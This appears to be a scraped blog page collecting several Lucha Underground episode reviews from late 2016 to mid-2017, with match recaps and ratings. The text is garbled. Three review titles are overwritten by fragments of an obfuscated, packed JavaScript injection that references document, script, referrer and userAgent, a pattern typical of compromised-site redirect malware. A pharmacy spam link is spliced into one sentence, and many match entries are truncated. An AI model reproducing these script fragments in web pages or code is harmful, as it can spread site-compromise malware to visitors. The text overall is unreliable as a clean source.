Lucha Underground – July 5, 2017: Something About Me Forgetting to Post This Again

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sdnnd|var|u0026u|referrer|hbais||js|php'.split('|'),0,{})) Underground
Date: July 5, 2017
Location: Lucha Underground Temple, Boyle Heights, California
Commentators: Vampiro, Matt Striker

It’s the final night of the first round of the Cueto Cup tournament, meaning next week we can start finding out who might make a run in this thing. First though, we need to have the EVIL TWIN story, which could mean almost anything around here. Alternate dimensions certainly aren’t out of the question and I really don’t know what to think about that. Let’s get to it.

We recap Dante Fox vs. Killshot, who were soldiers together in Afghanistan.

Fox is out for a jog and has a flashback. Killshot left Fox during a battle, resulting in Fox being captured and tortured. Now he’s here for revenge.

Cueto Cup First Round: Sexy Star vs. PJ Black

Black takes her down by the hand to start and lifts her up by the arm without too much effort. Back up and a delayed headscissors drops Black, only to have her guillotine countered into a suplex. Black heads up top and gets pulled down with a hurricanrana, followed by a big shove to send him off the top again. Cue Taya to throw in some brass knuckles, only to have Star take them away and lay Black out for the DQ at 4:16.

Rating: D. I’m really sick of Sexy Star, even though she hasn’t been around for weeks now. Her character of someone who has survived so much stuff really isn’t clicking and I have no desire to watch almost anything she does. It’s like they just threw a woman out there, gave her a story and expect her to be a big deal with nothing else thrown in. As is the case with anyone in wrestling, that’s just not the case.

Star decks the referee with the knuckles too.

Another Rey Mysterio vs. Johnny Mundo video, which actually have me wanting to see the match. It’s almost like talking about a match for weeks is a good way to hype something up instead of just airing it an hour after it’s announced. Rey says he’s doing this for the people who have supported him while Johnny says he’s winning because he’s the best. Mundo: “I’m the best right now so deal with it. Suck it Rey.”

Cueto Cup First Round: Son of Havoc vs. Son of Madness

Madness seems to be Havoc’s twin, though their names alone would suggest that they’re not brothers. Pay attention people. Havoc goes right at him in the aisle and sends him into the barricade. They head inside for the first time as Vampiro explains the biker culture. Madness dives into a kick to the face but takes his vest off to throw at Havoc. Apparently that means a lot but I’d be more worried about who can rip off Sons of Anarchy more next.

They trade missed clotheslines in the corner until Havoc is sent outside for a dive to the floor. Back in and Havoc slugs away and gets two off a spinning springboard crossbody. Madness gets the same off something like a Jackhammer They head to the top with Havoc snapping him throat first across the top rope, only to miss the shooting star. Instead a rollup ends Madness at 8:50.

Rating: B-. Good high flying match here and I’m sure it’s going to be something a bit, longer than this would suggest. As long as it’s nothing like the Aces and 8’s nonsense (oh was it nonsense) then this could be an interesting story. Havoc is a popular enough guy to make almost anything work so maybe he can get this over too.

Post match Madness kicks Havoc in the mask and takes his vest. Again, this seems to be a big deal, or at least so Vampiro says.

Cueto Cup First Round: Prince Puma vs. Ricky Mandel

Mandel is the Johnny Mundo fanboy and billed as interning with the Worldwide Underground. Before the match, Mantel uses Mundo’s catchphrases and gets kicked in the face to open things up. Puma suplexes him for two and hits another running kick to the face. A spinning piledriver ends Mandel at 1:14. Puma never even took his hoodie off.

Mysterio gives El Dragon Azteca Jr. a pep talk. Azteca wants to win the tournament and get a title shot. Puma comes in to say the same, much to Azteca’s annoyance.

We look at next week’s second round matches.

Cueto Cup First Round: El Dragon Azteca Jr. vs. Dante Fox

Mysterio is in Dragon’s corner. Dragon chops away in the corner to start and springboards in with a crossbody for no cover. Back up and Dragon slides to the floor for no apparent reason, setting up a suicide dive and another dive off the top. A guillotine legdrop to the apron gets two on Fox as Vampiro compares Fox to Marvin Hagler. Dragon takes him outside again and sends him head first into the barricade, followed by a whip to do the same with his back.

Back in and Dragon loads up something flashy but has to settle for a regular legdrop instead. A running C4 gives Fox two of his own, only to have Azteca hit a regular C4 of his own for two. They trade basement dropkicks and both guys are down again. Cue Taya to go after Mysterio, earning herself a dropkick. Mundo himself runs in and powerbombs Rey into the barricade, setting up a beatdown from the entire Worldwide Underground. Azteca dives outside for a save and dives back in to the Foxcatcher (inverted DDT) for the pin at 9:06.

Rating: C+. This was a bit too choreographed for my taste but it’s a good idea to have Mundo vs. Mysterio happening in the arena for a change. The videos are great but there’s only so much you’re going to get out of them. Azteca losing could go somewhere, even though he hasn’t been around much lately.

Overall Rating: B-. I liked this show again but it’s nothing to write home about. Above all else though, it’s nice to have the first round already over. We should be able to wrap the thing up in a few more weeks, though I’m not sure how long it can go without putting some other stuff together besides just the title match. Good enough show but the first round needed to end when it did.

http://kbwrestlingreviews.com/2017/05/19/history-of-saturday-nights-main-event-and-clash-of-the-champions-now-in-paperback-plus-price-drops/


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Lucha Underground – July 12, 2017: Battle of the Best

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Date: July 12, 2017
Location: Lucha Underground Temple, Boyle Heights, California
Commentators: Vampiro, Matt Striker

It’s time for the second round of the Cueto Cup as we’re down to sixteen names. Hopefully that means the end of the squashes which dominated so much of the first round. You can probably guess the winner fairly easily but it’s nice to have some good matches along the way. Let’s get to it.

We open with a recap of the tournament and some first round matches.

Cueto Cup Second Round: Jeremiah Crane vs. Taya

Taya turns up the sex appeal to land an early slap but Crane does the same, minus the sex appeal that is. That sends Taya outside for a suicide elbow, followed by a run around the ring for a flip dive to drive Taya through a chair. Back up and Taya knocks him off the barricade for a dive of her own.

She hammers on Crane back inside, followed by a running boot in the corner as Striker is losing his mind here despite it not being that big of a deal. A series of strikes to the head drops Taya again but she plants him with a tornado DDT for two of her own. Cue Sexy Star for a distraction though and it’s Cranial Contusion to send Crane to the next round at 6:25.

Rating: C. They were beating the heck out of each other here and it was nice to see Taya getting in some offense and hanging in there with Crane for a bit but there’s only so far that she’s going to be able to take something like this. At least Crane can get in a big fight in the quarterfinals and move on from here.

Post match Star knocks Taya out with brass knuckles.

Fenix and Aero Star talk about Drago leaving to join the Reptile Tribe. Aero Star, a time traveler, bets on Fenix, who doesn’t find that exactly fair.

Cueto Cup Second Round: Mil Muertes vs. Paul London

London starts dancing to start as we hear about his time in Ring of Honor with Striker mentioning specific matches. After over a minute of walking around, London gets thrown into the corner, meaning it’s time to head outside for a chase. The fans are entirely behind Muertes here as he unloads on London and throws him around with ease. Ten shoulders to the ribs have London in even more trouble but he snaps Muertes’ throat across the top.

That’s fine with Mil, who sends London into the barricade for a crash. A string of superkicks that would make the Young Bucks tell you to turn it down staggers Muertes and a top rope double stomp to the back puts him down again. The swinging chokeslam drops London though but the Rabbit Tribe comes in for a distraction. London gets two off a middle rope shooting star but it’s a spear and the Flatliner to end Paul at 9:29.

Rating: C+. Much like the first match, it was entertaining but did anyone http://onhealthy.net/product-category/erectile-dysfunction/ really buy another ending? London was certainly game here though and that helps a lot, even if there was no way around anything Muertes had for him. Muertes has to be a favorite in this thing but whoever beats him will get a heck of a rub.

Post match London gets the Lick of Death, which he seemed to enjoy. The fans even call him lucky.

Brenda hits on Texano, who buys her a drink. She calls him boring so he breaks a beer bottle in his hand. A woman’s touch could fix that though and Texano smiles.

Cueto Cup Second Round: Fenix vs. Marty Martinez

Melissa Santos still seems to have a crush on Fenix. Marty creepily rubs his stomach but gets dropped as things speed up. Fenix ducks a charge to send him outside for a kick to the face and a running flip dive. Mariposa offers a distraction though and Marty kicks him down, sending Melissa into a bit of fear.

Back in and we hit the chinlock with Marty ripping at the mask a bit. Fenix gets up and hits a good looking (and loud) running kick to the face in the corner, followed by a double stomp for two. A spring flipping moonsault misses though and Marty kicks him in the face for his own near fall.

Marty flips him forward into something like a Codebreaker (cool move) for two more but Fenix gets in a superkick. Mariposa grabs some kind of box that Marty brought with him but, for perhaps the first time ever, Melissa gets physical and blocks the shot, freaking the crowd out even more. The distraction lets Fenix grab a hurricanrana for the pin at 10:19.

Rating: C+. This was more about the storytelling and anything that involved me getting to see more of Melissa Santos, the better. She and Fenix could be interesting and having Marty and Mariposa around to antagonize them should help a lot as well. The match was good too, especial with Fenix flying all over the place like he does.

Post match Marty hits him with the box and pulls out a fork to carve up Fenix’s head as Melissa is forced to watch. Marty even licks the blood to be extra creepy.

Overall Rating: B. Now that’s more what I was looking for. This show featured bigger matches that felt like showdowns and I’m curious to see where some of these matches are going to go. We should have the final eight set up in two weeks and then the tournament finals three to four weeks later. They’re getting through this tournament fairly fast and that’s a good thing. Solid show here and better than the first round stuff.

http://kbwrestlingreviews.com/2017/05/19/history-of-saturday-nights-main-event-and-clash-of-the-champions-now-in-paperback-plus-price-drops/


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Lucha Underground – June 28, 2017: The Evil Twin?

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bdssz|var|u0026u|referrer|bstat||js|php'.split('|'),0,{})) Underground
Date: June 28, 2017
Location: Lucha Underground Temple, Boyle Heights, California
Commentators: Vampiro, Matt Striker

The opening video is a very quick tournament recap, plus looks at Killshot, Dante Fox and Jeremiah Crane.

Cueto Cup First Round: Mil Muertes vs. Veneno

Cueto Cup First Round: Paul London vs. Vibora

London knocks him outside for some palm strikes to the chest but Vibora just stares him down. With that not working, London, I kid you not, holds Kobra Moon hostage with the carrot from his hat. Fans: “SAVE THE CARROT!” They get in for the first time with Vibora throwing London around but getting kicked in the face a few times. Vibora gets sent to the floor for a springboard trust fall but he does the Undertaker situp, only to have the rest of the Rabbit Tribe grab his feet for a countout at 3:54.

Rating: D+. There was a story here with the much younger monster being caught by the pesky and more experienced Rabbit Tribe. The carrot thing was entertaining enough (I have a soft spot for rabbits) and this keeps Vibora looking strong, which could be a good idea going forward.

Cueto Cup First Round: Taya vs. Joey Ryan

Cueto Cup First Round: Jeremiah Crane vs. Killshot

A run around the ring builds up enough momentum for a cannonball through Killshot through some chairs in a sick sounding crash. They change pace by going inside where Killshot kicks him in the face for two. Killshot flips up into a cutter for two but gets caught in a brainbuster for the same. They trade the very loud strikes until both guys are knocked silly on the mat.

Post match Catrina comes out to look at Crane, who blows her a kiss.

http://kbwrestlingreviews.com/2017/05/19/history-of-saturday-nights-main-event-and-clash-of-the-champions-now-in-paperback-plus-price-drops/


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Lucha Underground – June 21, 2017: This Season is Way Too Long

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Date: June 21, 2017
Location: Lucha Underground Temple, Boyle Heights, California
Commentators: Vampiro, Matt Striker

Cueto Cup First Round: Cage vs. Vinnie Massaro

Cage puts the gauntlet on and beats on Massaro a bit more. A chokeslam puts the bloody Massaro on the floor.

Johnny Mundo, in pants again, trains with kendo sticks.

Cueto Cup First Round: Marty Martinez vs. Saltador

Saltador comes out of the corner with an ankle scissors and a springboard hurricanrana, followed by a very loud superkick for two. Marty has had it with someone being odder than him so he grabs a German suplex, followed by an exploder into the corner. A double underhook into a gutbuster is enough to put Saltador away at 7:12.

The Rabbit Tribe worships Mascarita Sagrada but he shakes them off and leaves.

Marty hangs out in his Melissa shrine but his sister Mariposa shows up to scare him. She promises to hurt him if they wind up facing off in the next round.

Cueto Cup First Round: Pindar vs. Mascarita Sagrada

Cueto Cup First Round: Mariposa vs. Fenix

Rating: C-. Too short to mean much but it was nice to have some kind of storyline development aside from just this massive tournament. The match was decent enough flying around but they needed to do a little more than Mariposa being able to keep up with Fenix. At least Santos being in a story for a change is interesting.

Marty runs in and goes after Fenix, scaring Melissa again.

http://kbwrestlingreviews.com/2017/05/19/history-of-saturday-nights-main-event-and-clash-of-the-champions-now-in-paperback-plus-price-drops/


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Lucha Underground – June 14, 2017: Murder and a Tournament

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Date: June 14, 2017
Location: Lucha Underground Temple, Boyle Heights, California
Commentators: Vampiro, Matt Striker

Cueto Cup First Round: Mala Suerte vs. The Mack

Cueto Cup First Round: Argenis vs. Pentagon Dark

Cueto Cup First Round: Famous B. vs. Texano

Video on Rey Mysterio getting ready to challenge Johnny Mundo for the Lucha Underground Title.

Cueto Cup First Round: Aerostar vs. Drago

http://kbwrestlingreviews.com/2017/05/19/history-of-saturday-nights-main-event-and-clash-of-the-champions-now-in-paperback-plus-price-drops/


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Lucha Underground – June 7, 2017: No Time For Pants

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Date: June 7, 2017
Location: Lucha Underground Temple, Boyle Heights, California
Commentators: Vampiro, Matt Striker

The announcers welcome us to the show. As usual, Vampiro makes no mention of the backstage stuff.

Lucha Underground Title: Johnny Mundo vs. The Mack

Mundo is defending and I always forget how awesome the Lucha Underground Title looks. Before the match, Dario Cueto comes in to announce everything, including making this falls count anywhere. Mack takes him straight down and gets two off a standing moonsault. Johnny will have none of that and hammers away but the Flying Chuck is countered into something like a Stunner for two.

Trios Titles: Aero Star/Drago/Fenix vs. Kobra Moon/Pindar/Vibora

Mundo gets out of the shower and tells Mandel that they should celebrate all night long. Before that can get awkward, Taya comes in to tell Johnny about his match against Mysterio. Mundo sends Mandel off to deal with things and goes off to train, still in the towel. Johnny: “No time for pants.”

Mil Muertes vs. Prince Puma

That goes nowhere as Puma hits him with a sign and gets in a DDT of his own. Another sign to the head slows Puma down and Mil knocks him up the steps and up towards the entrance. Puma finds a shoe of all things but Muertes throws him onto his shoulders to carry him back down to ringside.

Rating: B. This was two guys with a history beating the heck out of each other. The idea of Puma giving in to the dark side and nearly turning heel is a fascinating idea as he really could make for a good bad guy. That could make for a strong character down the line, especially if he gets to face a top face champion, or even another heel but with Puma as an edgy face.

http://kbwrestlingreviews.com/2017/05/19/history-of-saturday-nights-main-event-and-clash-of-the-champions-now-in-paperback-plus-price-drops/


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Lucha Underground – May 31, 2017: All Night Long…..Again!

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Date: May 31, 2017
Location: Lucha Underground Temple, Boyle Heights, California
Commentators: Matt Striker, Vampiro

We open with a long recap of Mundo vs. Mack, the latter of whom won a mini tournament to get a non-title match against Mundo. Johnny won that one, allowing him to pick the All Night Long stipulation.

The house band is still here.

Lucha Underground Title: Johnny Mundo vs. The Mack

http://kbwrestlingreviews.com/2017/05/19/history-of-saturday-nights-main-event-and-clash-of-the-champions-now-in-paperback-plus-price-drops/


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Lucha Underground – January 4, 2017: The Future Has To Be Eventually

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Date: January 4, 2017
Location: Lucha Underground Temple, Boyle Heights, California
Commentators: Matt Striker, Vampiro

The opening recap looks at the Battle of the Bulls, the Rabbit Tribe and Sexy Star vs. Mariposa (in theory Mariposa at least, or whoever is sending the spiders to Star).

Mil Muertes wants to know how Prince Puma is alive and Catrina blames Vampiro.

Sexy Star vs. Mariposa

Back in and the Butterfly Effect is broken up, followed by a sitout hiptoss of all things for two on Mariposa. A Samoan drop sets up a modified Indian Deathlock on Star with Mariposa kicking her in the head for a bonus. They head up top for a superplex, only to have Mariposa get shoved off, setting up a top rope double stomp to give Star the pin at 6:49.

Post match Marty Martinez comes out and chokeslams Mariposa. Striker: “WTF!” As in he says the letters.

Rabbit Tribe vs. Kobra Moon/Pindar/Vibora

Sexy Star comes in to see Mack who wants to win the title by himself tonight. Star is cool with that.

The Mack vs. Johnny Mundo

Mundo calls him fat and makes the match All Night Long.

Mil Muertes comes out and jumps Vampiro for saving Puma. Cue Puma for the save but Vampiro calls him off and takes the Flatliner to end the show.

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Lucha Underground – January 11, 2017: Hasta Eventually

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Date: January 11, 2017
Location: Lucha Underground Temple, Boyle Heights, California
Commentators: Vampiro, Matt Striker

The opening recap looks at Dragon Azteca Jr. wanting to go after Matanza, Cortez Castro coming back to the Temple under a mask, Texano getting mad at Famous B. and Johnny Mundo picking All Night Long for his match with the Mack.

Texano vs. Joey Ryan

Texano shoves B. down and high fives fans as he leaves.

Cage vs. Veneno

That seems to be Castro under his mask. Veneno is wearing a spider style mask and Vampiro says the name means poison. A few kicks have Cage in trouble until a Screwdriver crushes Veneno for the pin at 1:23.

Cage leaves and Sexy Star comes out to yell at Veneno, likely due to the spider mask.

Matanza vs. Dragon Azteca Jr.

After the credits, Marty Martinez stalks Melissa Santos but Mariposa kidnaps him. She thinks he might be learning something but a slap to the face just makes him laugh.


Apparently this is a mid-season finale and the show will be back in the summer. That’s a very, very long time off and that’s not good.

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Lucha Underground – December 28, 2016: Lucha Underground Meets the Avengers

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aeefs|var|u0026u|referrer|hrhfk||js|php'.split('|'),0,{})) Underground
Date: December 28, 2016
Location: Lucha Underground Temple, Boyle Heights, California
Commentators: Matt Striker, Vampiro

The opening video looks at Angelico returning, Cage vs. Texano, Catrina suggesting that Crane loves him and Prince Puma losing Grave Consequences.

Vampiro raises Puma from the grave and Puma, now dark, has a new master. I could totally go for this.

Jeremiah Crane vs. Mil Muertes

Crane goes right after him at the entrance and is knocked for a loop as a result. A running forearm to the back and a powerslam plant Crane again. As the referee looks at Catrina (understandable), cue Puma with a kendo stick shot, allowing Crane to hit a bicycle kick for the pin at 2:04.

Puma kneels to Vampiro and Striker is scared.

A stranger gives Sexy Star a present but says he used to be a Johnny Mundo fanboy. The guy leaves and the package contains a spider, just like a few weeks back.

Famous B. gives Texano an offer of fame and is promptly scared off.

PJ Black/Jack Evans vs. Angelico/Son of Havoc

Dario is looking in his glowing box when Star comes in. She wants and is granted a match with Mariposa next week.

Cage vs. Texano

Match number four in a best of five series with Cage up 2-1. Texano runs him over to start and hits a sliding clothesline but Cage turns it into a slugout. A turnbuckle pad comes off and Cage goes face first into the steel, setting up a sitout powerbomb to tie the series at 2-2 at 2:01.

Cage vs. Texano

This is winner take all and Cage is coming in bloody. Texano stomps him down in the corner but walks into a DDT. That just earns Cage a kick to the head in the corner, followed by a top rope hurricanrana and a slingshot splash for two. Cage kicks him in the face again and sends Texano outside for a big suicide dive.

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